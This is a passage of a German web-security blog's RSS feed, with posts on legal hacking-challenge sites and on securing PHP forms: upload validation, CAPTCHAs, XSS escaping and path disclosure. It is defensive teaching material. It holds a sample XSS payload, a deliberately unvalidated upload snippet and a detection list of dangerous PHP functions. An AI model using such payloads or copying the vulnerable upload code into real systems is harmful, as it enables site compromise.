gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/php-session-sicherheit-session-fixation.html/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Hackits / Challenges &#8211; Learning by Doing</title>
		<link>http://www.web-tuts.de/hackits-challenges-learning-by-doing.html</link>
		<comments>http://www.web-tuts.de/hackits-challenges-learning-by-doing.html#comments</comments>
		<pubDate>Thu, 14 Jan 2010 17:34:05 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[Tipps]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Hackits]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=962</guid>
		<description><![CDATA[Wenn man sich mit dem Thema IT-Security besch&#228;ftigt, ist vor allem die praktische Erfahrung wichtig und nat&#252;rlich auch interessanter als nur Theorie. Deshalb braucht man eine Umgebung, in der man experimentieren und das erlernte Wissen testen kann.
Das kann der eigene Rechner oder Server sein. Allerdings m&#252;sste man dann f&#252;r jeden Test eine Testumgebung einrichten, anpassen [...]]]></description>
			<content:encoded><![CDATA[<p>Wenn man sich mit dem Thema IT-Security besch&#228;ftigt, ist vor allem die praktische Erfahrung wichtig und nat&#252;rlich auch interessanter als nur Theorie. Deshalb braucht man eine Umgebung, in der man experimentieren und das erlernte Wissen testen kann.</p>
<p>Das kann der eigene Rechner oder Server sein. Allerdings m&#252;sste man dann f&#252;r jeden Test eine Testumgebung einrichten, anpassen oder sogar selbst programmieren.</p>
<p>Um das erlernte Wissen praktisch und vor allem legal auf anderen Websites bzw. Servern zu testen, kann man auf sogenannte <strong>Hackits</strong> zur&#252;ckgreifen. Hackits (oder <strong>Challenges</strong>) sind praktische &#220;bungsaufgaben rund um das Thema IT-Security.</p>

<h2 class="headline">Wie funktioniert das ganze?</h2>
<p>Man versetzt sich in die Lage eines Angreifers und versucht Sicherheitsl&#252;cken auszunutzen. Aber nicht nur das - es gibt auch viele weitere Challenges zu den Themen Programmierung, Kryptographie, Steganographie, Logik, etc.</p>
<p><strong>Websites oder Software?</strong><br />
Hackits werden in der Regel auf Websites angeboten. Es gibt aber auch die ein oder andere Software, die als Testumgebung verwendet werden kann.</p>
<p>Bei den Websites gibt es den Vorteil, dass dort ein Punkte- bzw. Rankingsystem existiert, um sich mit anderen Messen zu k&#246;nnen sowie und eine dazugeh&#246;rige Community, die einen Tipps gibt, wenn man nicht weiter kommt.</p>
<h2 class="headline">Top 5 der (Hacking &amp; Security) Challenges Sites</h2>
<p><a href="http://bright-shadows.net/" target="_blank">TheBlacksheep (bright-shadows.net)</a></p>
<p><img src="http://www.web-tuts.de/images/posts/hackits-site-1.jpg" width="302" height="158" alt="Bright Shadows" /></p>
<p><a href="http://www.hackthissite.org/" target="_blank">Hack This Site! (hackthissite.org)</a></p>
<p><img src="http://www.web-tuts.de/images/posts/hackits-site-2.jpg" width="302" height="155" alt="Hack This Site!" /></p>
<p><a href="http://www.happy-security.de/index.php?modul=hacking-zone" target="_blank">Happy-Security (happy-security.de)</a></p>
<p><img src="http://www.web-tuts.de/images/posts/hackits-site-3.jpg" width="302" height="155" alt="Hack This Site!" /></p>
<p><a href="http://thisislegal.com/challenges" target="_blank">Thisislegal.com</a></p>
<p><img src="http://www.web-tuts.de/images/posts/hackits-site-4.jpg" width="302" height="161" alt="Thisislegal.com" /></p>
<p><a href="http://www.wechall.net/challenge/" target="_blank">WeChall (wechall.net)</a></p>
<p><img src="http://www.web-tuts.de/images/posts/hackits-site-5.jpg" width="302" height="161" alt="WeChall" /></p>
<p>Auf der Website wechall.net gibt es neben eigenen Challenges auch ein globales Punkte- und Rankingsystem. Zurzeit werden <a href="http://www.wechall.net/sites.php" target="_blank">35 Challenges Sites</a> unterst&#252;tzt.</p>
<h2 class="headline">WebGoat: Web Security Training</h2>
<p>Das <a href="http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project" target="_blank">WebGoat Projekt</a> von OWASP ist eine auf Java basierte Lern- und Testumgebung zum Thema Web Security. Die Aufgaben sind gut strukturiert und realistisch. Zu jeder Aufgabe gibt es detaillierte L&#246;sungen mit hilfreichen Tipps.</p>
<p><img src="http://www.web-tuts.de/images/posts/webgoat2.jpg" width="302" height="215" alt="WeChall" /></p>
<h2 class="headline">Damn Vulnerable Linux</h2>
<p>"Damn Vulnerable Linux" ist eine Linux-Distribution in Form einer Live-CD. Sie enth&#228;lt vor allem verwundbare Software - also nicht unbedingt ein System, das man bei der t&#228;glichen Arbeit verwenden sollte <img src='http://www.web-tuts.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Die beiliegende Dokumentation ist als Schulungsmaterial f&#252;r Sicherheitsverantwortliche einsetzbar. Wer also etwas tiefer in die Materie der (Netzwerk-)Sicherheit unter Unix-Systemen eindringen will, sollte sich das mal anschauen.</p>
<h2 class="headline">Fazit</h2>
<p>Hackits / Challenges und spezielle Software, die eine virtuelle, realit&#228;tsnahe Umgebung erm&#246;glichen, bieten reichlich Platz zum Experimentieren und zum Testen des erlernten Wissens. Allerdings ist es nichts f&#252;r Einsteiger, die sich bisher nur wenig mit den Themen besch&#228;ftigt haben. Die meisten Aufgaben erfordern bereits gute Kenntnisse.</p>
<p>F&#252;r diejenigen, die ihr erlerntes Wissen praktisch testen oder erweitern wollen, sind Hackits bzw. Challenges allerdings sehr empfehlenswert.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/about/" rel="bookmark" title="Permanent Link: &#220;ber Web-Tuts.de">&#220;ber Web-Tuts.de</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/hackits-challenges-learning-by-doing.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/hackits-challenges-learning-by-doing.html/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Sichere Formulare &#8211; Teil 2</title>
		<link>http://www.web-tuts.de/sichere-formulare-teil-2.html</link>
		<comments>http://www.web-tuts.de/sichere-formulare-teil-2.html#comments</comments>
		<pubDate>Wed, 30 Dec 2009 06:40:38 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Captcha]]></category>
		<category><![CDATA[Formulare]]></category>
		<category><![CDATA[Uploads]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=849</guid>
		<description><![CDATA[In zweiten Teil des Artikels &#252;ber sichere Formulare geht es um File Uploads und CAPTCHAs. Au&#223;erdem wird ein fertiges Formular-Script zum Download bereitgestellt, das ihr uneingeschr&#228;nkt auf eurer eigenen Website verwenden k&#246;nnt. 

Schutz vor Uploads von unerw&#252;nschten Dateien
Bei Upload-Formularen sollte man besonders auf eine ausreichende Validierung achten. Angreifer versuchen oft eigene Scripte (z.B. Webshells) hochzuladen, [...]]]></description>
			<content:encoded><![CDATA[<p>In zweiten Teil des Artikels &#252;ber <a href="http://www.web-tuts.de/sichere-formulare-teil-1.html">sichere Formulare</a> geht es um File Uploads und CAPTCHAs. Au&#223;erdem wird ein fertiges Formular-Script zum Download bereitgestellt, das ihr uneingeschr&#228;nkt auf eurer eigenen Website verwenden k&#246;nnt. </p>

<h2 class="headline">Schutz vor Uploads von unerw&#252;nschten Dateien</h2>
<p>Bei Upload-Formularen sollte man besonders auf eine ausreichende Validierung achten. Angreifer versuchen oft eigene Scripte (z.B. Webshells) hochzuladen, mit denen sie Kontrolle &#252;ber Dateien auf dem Webserver erlangen k&#246;nnen.</p>
<p>In dem Artikel &#252;ber <a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html">Local / Remote File Inclusion</a> habe ich bereits gezeigt, wie versierte Angreifer eigenen Code injizieren k&#246;nnen. Bei einem ungesch&#252;tzten Upload-Formular haben es (auch unerfahrene) Angreifer viel leichter, da sie gar nichts injizieren brauchen.</p>
<p>Hierzu ein kleines Beispiel (basierend auf dem Basis-Formular - siehe Teil 1).</p>
<pre class="prettyprint"><code>&lt;?php
  //...
  if(move_uploaded_file($_FILES[&#039;datei&#039;][&#039;tmp_name&#039;], &#039;uploads/&#039; . basename($_FILES[&#039;datei&#039;][&#039;name&#039;])))
    echo &#039;Die Datei wurde erfolgreich hochgeladen.&#039;;
?&gt;</code></pre>
<p>Die Funktion move_uploaded_file() erm&#246;glicht den Upload. Als zweiter Parameter wird das Verzeichnis und der Dateiname angegeben, wo die Datei hin verschoben werden soll. In diesem Fall im Verzeichnis uploads/ unter dem selben Dateinamen.</p>
<p><em>Hinweis: Das angegebe Verzeichnis muss ausreichende Schreibrechte haben.</em></p>
<p>Da hier keine &#220;berpr&#252;fung stattfindet, k&#246;nnen beliebige Dateien hochgeladen werden. Um das zu verhindern, m&#252;ssen wir erstmal wissen, welche Dateien &#252;berhaupt hochgeladen werden sollen. Bilder? Archive? Textdateien? Au&#223;erdem stellt sich die Frage, was mit den hochgeladenen Dateien angestellt werden soll. Sind sie im Web erreichbar oder werden sie irgendwo au&#223;erhalb des Document Roots auf dem Server gespeichert? Oder werden sie nur tempor&#228;r gespeichert und als Dateianhang per E-Mail verschickt?</p>
<p>In diesem Beispiel sollen auschlie&#223;lich Bilder hochgeladen werden, die anschlie&#223;end auf einer Webseite dargestellt werden.</p>
<h3>Maximale Dateigr&#246;&#223;e &#252;berpr&#252;fen / bestimmen</h3>
<p>Als erstes &#252;berpr&#252;fen wir die erlaubte Dateigr&#246;&#223;e. Dazu schauen wir uns den Wert der Direktive <em>upload_max_filesize</em> in der Konfigurationsdatei <em>php.ini</em> an. Wer keinen Zugriff auf diese Datei hat, kann den Wert auch einfach mit PHP ausgeben lassen:</p>
<pre class="prettyprint"><code>&lt;?php
  echo ini_get(&#039;upload_max_filesize&#039;)
?&gt;</code></pre>
<p>Standardm&#228;&#223;ig sind 2 MB erlaubt (<em>upload_max_filesize = 2M</em>). 2 MB sind f&#252;r Bilder denke ich mal okay. Ist dort ein h&#246;herer Wert angegeben, sollte man ihn &#228;ndern und wer keinen Zugriff auf die <em>php.ini</em> hat, sollte das ganze per .htaccess realisieren:</p>
<pre class="prettyprint"><code>php_value upload_max_filesize 2M</code></pre>
<h3>Dateiendung &#252;berpr&#252;fen</h3>
<p>Als n&#228;chstes &#252;berpr&#252;fen wir die Dateiendung. Da wir wissen, welche Dateiendungen Bilder haben, k&#246;nnen wir eine White-List mit erlaubten Dateiendungen erstellen.</p>
<pre class="prettyprint"><code>&lt;?php
  //...
  $erlaubt = array(&#039;.jpg&#039;, &#039;.jpeg&#039;, &#039;.gif&#039;, &#039;.png&#039;);
  $dateiendung = strtolower(strrchr($_FILES[&#039;datei&#039;][&#039;name&#039;], &#039;.&#039;));
  if(!in_array($dateiendung, $erlaubt))
    die(&#039;Ungueltiges Dateiformat! Erlaubte Dateiformate: JPG, GIF, PNG&#039;);
?&gt;</code></pre>
<h3>Dateiinformationen &#252;berpr&#252;fen</h3>
<p>Nun &#252;berpr&#252;fen wir noch, ob es sich um ein valides Bild handelt. Dazu eignet sich die Funktion getimagesize() - auch wenn diese nicht zu 100% zuverl&#228;ssig ist.</p>
<pre class="prettyprint"><code>&lt;?php
  //...
  if(!getimagesize($_FILES[&#039;datei&#039;][&#039;tmp_name&#039;]))
    die(&#039;Ungueltiges Dateiformat!&#039;);
?&gt;</code></pre>
<p>Au&#223;erdem &#252;berpr&#252;fen wir den Inhalt der Datei, um evtl. Code Injection zu entdecken. Dies dient nur als zus&#228;tzlicher Schutz, um Angreifern die Ausnutzung von anderen Sicherheitsl&#252;cken (z.B. LFI) zu erschweren.</p>
<pre class="prettyprint"><code>&lt;?php
  //...
  $file = fopen($_FILES[&#039;datei&#039;][&#039;tmp_name&#039;], &#039;rb&#039;);
  $contents = fread($file, filesize($_FILES[&#039;datei&#039;][&#039;tmp_name&#039;]));
  fclose($file);

  $check = array(&#039;&lt;script&#039;, &#039;javascript:&#039;, &#039;&lt;?php&#039;, &#039;$_GET&#039;, &#039;$_POST&#039;, &#039;$_COOKIE&#039;, &#039;$_SERVER&#039;, &#039;$HTTP&#039;, &#039;system(&#039;, &#039;exec(&#039;, &#039;passthru&#039;, &#039;eval(&#039;, &#039;&lt;input&#039;, &#039;&lt;frame&#039;, &#039;&lt;iframe&#039;, &#039;http://&#039;);
  foreach($check as $chk)
    if(strpos($contents, strtolower($chk)) !== false)
      die(&#039;Code Injection erkannt!&#039;);
?&gt;</code></pre>
<h3>Eindeutige Dateinamen vergeben</h3>
<p>Nachdem wir alles validiert haben, k&#246;nnen wir nun die move_uploaded_file() Funktion verwenden, um die tempor&#228;re Datei in unser gew&#252;nschtes Verzeichnis zu verschieben.</p>
<p>Um zu verhindern, dass vorhandene Dateien mit dem selben Dateinamen &#252;berschrieben werden, geben wir der hochgeladenen Datei einen generierten und eindeutigen Dateinamen. Das k&#246;nnen wir mit uniqid() erledigen. Und um auf nummer sicher zu gehen, verwenden wir noch mt_rand() und verschl&#252;sseln das ganze mit md5().</p>
<p>F&#252;r die Dateiendung verwenden wir die zuvor definierte Variable $dateiendung.</p>
<pre class="prettyprint"><code>&lt;?php
  //...
  $dateiname = md5(uniqid(mt_rand(), true)) . $dateiendung;
  if(move_uploaded_file($_FILES[&#039;datei&#039;][&#039;tmp_name&#039;], &#039;uploads/&#039; . $dateiname))
    echo &#039;Die Datei wurde erfolgreich hochgeladen.&#039;;
  else
    die(&#039;Fehler beim Hochladen der Datei!&#039;);
?&gt;</code></pre>
<p>Wer f&#252;r den Upload den selben Dateinamen verwenden will und in der Funktion move_uploaded_file() die Variable $_FILES['datei']['name'] nutzt, sollte unbedingt (wie im ersten Code-Beispiel zu sehen ist) die Funktion basename() verwenden, da ansonsten eine kritische Sicherheitsl&#252;cke entsteht. Angreifer k&#246;nnten wichtige, vorhandene Dateien in anderen Verzeichnissen &#252;berschreiben.</p>
<h2 class="headline">Schutz vor Spam und DoS - CAPTCHAs</h2>
<p><a href="http://de.wikipedia.org/wiki/CAPTCHA" target="_blank">CAPTCHAs</a> werden zum Schutz vor Spambots und <a href="http://de.wikipedia.org/wiki/Denial_of_Service" target="_blank">Denial of Service (DoS)</a> Angriffen verwendet. Wie man sowas in PHP realisiert werde ich in einem eigenen Artikel genauer erkl&#228;ren. An dieser Stelle m&#246;chte ich nur einmal auf Google's <a href="http://recaptcha.net/" target="_blank">reCAPTCHA</a> hinweisen.</p>
<h3>Rechenaufgaben und Fragen als Alternative</h3>
<p>Oft reicht es auch aus, normale Rechenaufgaben oder einfache Fragen zu verwenden.</p>
<p>Das k&#246;nnte z.B. so aussehen:</p>
<pre class="prettyprint"><code>&lt;?php
  session_start();

  function newSession()
  {
    $_SESSION[&#039;zahl1&#039;] = mt_rand(1, 100);
    $_SESSION[&#039;zahl2&#039;] = mt_rand(1, 100);
    $_SESSION[&#039;ergebnis&#039;] = $_SESSION[&#039;zahl1&#039;] + $_SESSION[&#039;zahl2&#039;];
  }

  if(!isset($_SESSION[&#039;ergebnis&#039;]))
    newSession();

  //...
  if(isset($_POST[&#039;code&#039;]))
  {
    if((int)$_POST[&#039;code&#039;] != $_SESSION[&#039;ergebnis&#039;] ||
       strpos($_POST[&#039;code&#039;], &#039;.&#039;) !== false ||
       !is_numeric($_POST[&#039;code&#039;]) || is_array($_POST[&#039;code&#039;]))
    {
      echo &#039;Falsches Ergebnis!&#039;;
      unset($_SESSION[&#039;zahl1&#039;]);
      unset($_SESSION[&#039;zahl2&#039;]);
      unset($_SESSION[&#039;ergebnis&#039;]);
      newSession();
    }

    else
    {
      echo &#039;Richtig!&#039;;
      session_destroy();
      // Daten verarbeiten
      exit;
    }
  }

  $rechenaufgabe = $_SESSION[&#039;zahl1&#039;] . &#039; + &#039; . $_SESSION[&#039;zahl2&#039;] . &#039; = &#039;;
?&gt;

&lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
  &lt;?php echo $rechenaufgabe; ?&gt;&lt;input type=&quot;text&quot; name=&quot;code&quot; maxlength=&quot;3&quot; /&gt;
  &lt;input type=&quot;submit&quot; name=&quot;form&quot; value=&quot;Daten absenden&quot; /&gt;
&lt;/form&gt;</code></pre>
<p>Nat&#252;rlich w&#228;r es sinnvoll hier noch eine IP-Sperre nach x gescheiterten Versuchen einzubauen, da Spambots mit normalen Rechenaufgaben keine Probleme haben sollten. Allerdings kann man die Rechenaufgabe auch in Unicode oder mit JS ausgeben <img src='http://www.web-tuts.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<pre class="prettyprint"><code>&lt;?php
  function unicode($ascii)
  {
    $unicode = &#039;&#039;;
    for($i = 0; $i &lt; strlen($ascii); $i++)
      $unicode .= &#039;&amp;#&#039; . ord(substr($ascii, $i, 1)) . &#039;;&#039;;

    return $unicode;
  }

  //...

  $rechenaufgabe = $_SESSION[&#039;zahl1&#039;] . &#039; + &#039; . $_SESSION[&#039;zahl2&#039;] . &#039; = &#039;;
  $rechenaufgabe = unicode($rechenaufgabe);

  //...
?&gt;</code></pre>
<p>Aus <strong style="background-color:#c4c4c4;padding:1px;">55 + 52 =&nbsp;</strong> wird dann folgendes.</p>
<pre class="srccode"><code>&amp;#53;&amp;#53;&amp;#32;&amp;#43;&amp;#32;&amp;#53;&amp;#50;&amp;#32;&amp;#61;&amp;#32;</code></pre>
<p>Auch wenn ein richtiges CAPTCHA um einiges sicherer ist, reichen solche einfachen Alternativen meiner Erfahrung nach meistens aus.</p>
<h2 class="headline">Fertiges Kontaktformular - einfach und sicher</h2>
<p>Wie versprochen habe ich ein fertiges Script geschrieben, das ihr euch <a href="http://www.web-tuts.de/downloads/bulletproof-contact-form/">hier downloaden</a> k&#246;nnt. Das ganze sieht ungef&#228;hr so aus:</p>
<p><img src="http://www.web-tuts.de/images/posts/kontaktformular.gif" width="464" height="462" alt="Kontaktformular" /></p>
<p>Es ist nur eine Datei und l&#228;uft ohne Datenbank. Das Formular kann bequem mit einer PHP Include-Funktion in einer Webseite eingebunden werden.</p>
<p>Das einzige, das ihr an dem Script &#228;ndern m&#252;sst, ist eure E-Mail Adresse und wenn ihr wollt den Betreff der E-Mail.</p>
<pre class="prettyprint"><code>&lt;?php
  define(&#039;EMPFAENGER&#039;, &#039;empfaenger@example.com&#039;); // Deine E-Mail Adresse
  define(&#039;BETREFF&#039;, &#039;Neue Nachricht - Kontaktformular&#039;); // Betreff der E-Mail
?&gt;</code></pre>
<p>Ich erstelle bald eine Download Seite, da gibt's dann nochmal ne ausf&#252;hrliche Beschreibung. Ansonsten einfach hier per Kommentar melden <img src='http://www.web-tuts.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/sichere-formulare-teil-1.html" rel="bookmark" title="Permanent Link: Sichere Formulare &#8211; Teil 1">Sichere Formulare &#8211; Teil 1</a></li><li><a href="http://www.web-tuts.de/10-mythen-zum-thema-web-security.html" rel="bookmark" title="Permanent Link: 10 Mythen zum Thema Web Security">10 Mythen zum Thema Web Security</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-2-phishing.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 2 &#8211; Phishing">Content-Spoofing &#8211; Teil 2 &#8211; Phishing</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-1-javascript.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 1 &#8211; JavaScript">Content-Spoofing &#8211; Teil 1 &#8211; JavaScript</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-3-http-redirects.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects">Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/sichere-formulare-teil-2.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/sichere-formulare-teil-2.html/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Sichere Formulare &#8211; Teil 1</title>
		<link>http://www.web-tuts.de/sichere-formulare-teil-1.html</link>
		<comments>http://www.web-tuts.de/sichere-formulare-teil-1.html#comments</comments>
		<pubDate>Tue, 22 Dec 2009 05:29:17 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Formulare]]></category>
		<category><![CDATA[Injection]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=472</guid>
		<description><![CDATA[
Auf sehr vielen (dynamischen) Websites werden Formulare verwendet. H&#228;ufig sind sie da, um Benutzereingaben an eine Webanwendung zu &#252;bermitteln.
Da viele Sicherheitsl&#252;cken in Webanwendungen durch ungefilterte bzw. nicht-validierte Benutzereingaben entstehen, sind besonders Formulare ein beliebtes Ziel von Angreifern.
In diesem Artikel wird gezeigt, wie Formulardaten sicher mit PHP verarbeitet werden, um Sicherheitsl&#252;cken (und Spam) zu vermeiden (Teil [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/formularsicherheit.jpg" width="300" height="146" alt="Formularsicherheit" /></div>
<p>Auf sehr vielen (dynamischen) Websites werden Formulare verwendet. H&#228;ufig sind sie da, um Benutzereingaben an eine Webanwendung zu &#252;bermitteln.</p>
<p>Da viele Sicherheitsl&#252;cken in Webanwendungen durch ungefilterte bzw. nicht-validierte Benutzereingaben entstehen, sind besonders Formulare ein beliebtes Ziel von Angreifern.</p>
<p>In diesem Artikel wird gezeigt, wie Formulardaten sicher mit PHP verarbeitet werden, um Sicherheitsl&#252;cken (und Spam) zu vermeiden (Teil 1/2).</p>
<p>Grundlegende PHP-Kenntnisse sollten vorhanden sein bzw. sind von Vorteil.</p>

<h2 class="headline">Basis-Formular</h2>
<p>Folgendes Basis-Formular dient in diesem Artikel als Beispiel.</p>
<pre class="prettyprint"><code>&lt;form action=&quot;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
  &lt;label for=&quot;name&quot;&gt;Name:&lt;/label&gt;
  &lt;input type=&quot;text&quot; name=&quot;name&quot; id=&quot;name&quot; /&gt;&lt;br /&gt;&lt;br /&gt;

  &lt;label for=&quot;email&quot;&gt;E-Mail:&lt;/label&gt;
  &lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; /&gt;&lt;br /&gt;&lt;br /&gt;

  &lt;label for=&quot;url&quot;&gt;URL:&lt;/label&gt;
  &lt;input type=&quot;text&quot; name=&quot;url&quot; id=&quot;url&quot; /&gt;&lt;br /&gt;&lt;br /&gt;

  &lt;label for=&quot;text&quot;&gt;Text:&lt;/label&gt;
  &lt;textarea cols=&quot;50&quot; rows=&quot;10&quot; name=&quot;text&quot; id=&quot;text&quot;&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;

  &lt;label for=&quot;datei&quot;&gt;Datei:&lt;/label&gt;
  &lt;input type=&quot;file&quot; name=&quot;datei&quot; id=&quot;datei&quot; /&gt;&lt;br /&gt;&lt;br /&gt;

  &lt;input type=&quot;submit&quot; name=&quot;form&quot; value=&quot;Daten absenden&quot; /&gt;
&lt;/form&gt;</code></pre>
<p>Im Browser sieht das ganze (formatiert) so aus:</p>
<p><img src="http://www.web-tuts.de/images/posts/form1.gif" width="388" height="478" alt="Formular" style="border:1px solid #c0c0c0;" /></p>
<h2 class="headline">Schutz vor Cross-Site Scripting (XSS)</h2>
<p>Wenn Benutzereingaben wieder ausgegeben werden, m&#252;ssen sie vorher ausreichend gefiltert werden, um XSS zu verhindern.</p>
<p>Dazu eignen sich die Funktionen htmlspecialchars() und htmlentities(). Diese Funktionen wandeln bestimmte Sonderzeichen in HTML-Codes um.</p>
<pre class="prettyprint"><code>&lt;?php
  if(isset($_POST[&#039;name&#039;]) &amp;&amp; !empty($_POST[&#039;name&#039;]))
    echo htmlentities($_POST[&#039;name&#039;]);
?&gt;</code></pre>
<p>Hierbei muss man beachten, dass diese Funktionen standardm&#228;&#223;ig keine einfachen Anf&#252;hrungszeichen (Single Quotes) umwandeln.</p>
<p>Damit auch Single Quotes umgewandelt werden, muss der Modus ENT_QUOTES als Parameter an die Funktionen &#252;bergeben werden.</p>
<pre class="prettyprint"><code>&lt;?php
  // ...
  $name = htmlentities($_POST[&#039;name&#039;], ENT_QUOTES);
  echo &quot;&lt;input type=&#039;text&#039; name=&#039;name&#039; value=&#039;$name&#039; /&gt;&quot;;
  // ...
?&gt;</code></pre>
<p>Oft kommt es auch vor, dass im action-Attribut des Formulars die Variable $_SERVER['PHP_SELF'] verwendet wird. Diese Variable enth&#228;lt den Dateinamen des aktuell ausgef&#252;hrten Scripts, relativ zum Document Root.</p>
<p>Auch diese Variable ist anf&#228;llig f&#252;r XSS. Ein Angreifer k&#246;nnte z.B. beliebigen JavaScript Code direkt in der URL &#252;bergeben.</p>
<pre class="srccode"><code>vuln.php/&quot;&gt;&lt;script&gt;alert(&#039;XSS&#039;);&lt;/script&gt;</code></pre>
<p>Die Variable $_SERVER['PHP_SELF'] muss also auch vor der Ausgabe gefiltert werden.</p>
<pre class="prettyprint"><code>&lt;form action=&quot;&lt;?php echo htmlentities($_SERVER[&#039;PHP_SELF&#039;]); ?&gt;&quot; method=&quot;post&quot;&gt;</code></pre>
<p>Allerdings gibt es hierbei ein weiteres Problem bei alten PHP Versionen. Durch anh&#228;ngen von Slashes k&#246;nnte dem action-Attribut eine externe URL zugewiesen werden. Angreifer k&#246;nnten somit die eingegebenen Daten empfangen und auslesen.</p>
<p>Eine sichere Alternative w&#228;r hier sinnvoller. In den meisten F&#228;llen reicht ein leerer String oder f&#252;r die eigene Verwendung eine statische Angabe.</p>
<p>Soweit zum Schutz vor XSS auf der Webseite. Doch wie sieht es mit dem E-Mail Client aus? Die meisten E-Mail Clients unterst&#252;tzen HTML-Mails. Wenn Benutzereingaben in E-Mails wieder ausgegeben werden, m&#252;ssen diese auch ausreichend gefiltert werden. Allerdings nur dann, wenn es sich auch wirklich um HTML-Mails handelt.</p>
<pre class="prettyprint"><code>&lt;?php
  // ...
  $header = &#039;Mime-Version: 1.0&#039; . &quot;\r\n&quot;;
  $header .= &#039;Content-type: text/html; charset=iso-8859-1&#039; . &quot;\r\n&quot;;
  $nachricht = htmlentities($_POST[&#039;text&#039;]);
  mail(&#039;empfaenger@example.com&#039;, &#039;Betreff&#039;, $nachricht, $header);
?&gt;</code></pre>
<h2 class="headline">Schutz vor Full Path Disclosure</h2>
<p>Full Path Disclosure geh&#246;rt zwar zu den "harmlosen" Sicherheitsl&#252;cken, man sollte sie aber nicht untersch&#228;tzen. In dem Artikel <a href="http://www.web-tuts.de/sicherheitsluecken-kombinieren.html">Sicherheitsl&#252;cken kombinieren</a> habe ich bereits gezeigt, wie aus harmlosen Sicherheitsl&#252;cken kritische werden k&#246;nnen.</p>
<p>Durch Full Path Disclosure (oder allgemein Information Disclosure) k&#246;nnen Angreifer den vollst&#228;ndigen Pfad auslesen. Manchmal m&#252;ssen Angreifer sogar den Pfad kennen, damit sie andere Sicherheitsl&#252;cken ausnutzen k&#246;nnen.</p>
<p>In den obigen Beispielen zum Schutz vor XSS haben wir die Funktion htmlentities() verwendet. Diese Funktion erwartet als Parameter einen String. Ein Angreifer kann aber auch ein Array &#252;bergeben, was zur Fehlermeldung und somit zu Full Path Disclosure f&#252;hrt (solange Fehlermeldungen ausgegeben werden).</p>
<p>Um die Ausgabe von Fehlermeldungen zu unterbinden, gibt es mehrere M&#246;glichkeiten.</p>
<p>Wer Zugriff auf die PHP-Konfigurationsdatei (php.ini) hat, kann die Direktive <em>display_errors</em> auf <em>Off</em> setzen. Dadurch werden Fehlermeldungen global unterbunden.</p>
<p>Ansonsten kann man die Funktion error_reporting() nutzen und die Ausgabe von Fehlermeldungen zur Laufzeit unterbinden. Dazu &#252;bergibt man der Funktion den Wert 0.</p>
<pre class="prettyprint"><code>&lt;?php
  error_reporting(0);
  // ...
?&gt;</code></pre>
<p>Zus&#228;tzlich k&#246;nnte man in der if-Abfrage &#252;berpr&#252;fen, ob es sich um ein Array handelt oder nicht. Dazu eignet sich die Funktion is_array().</p>
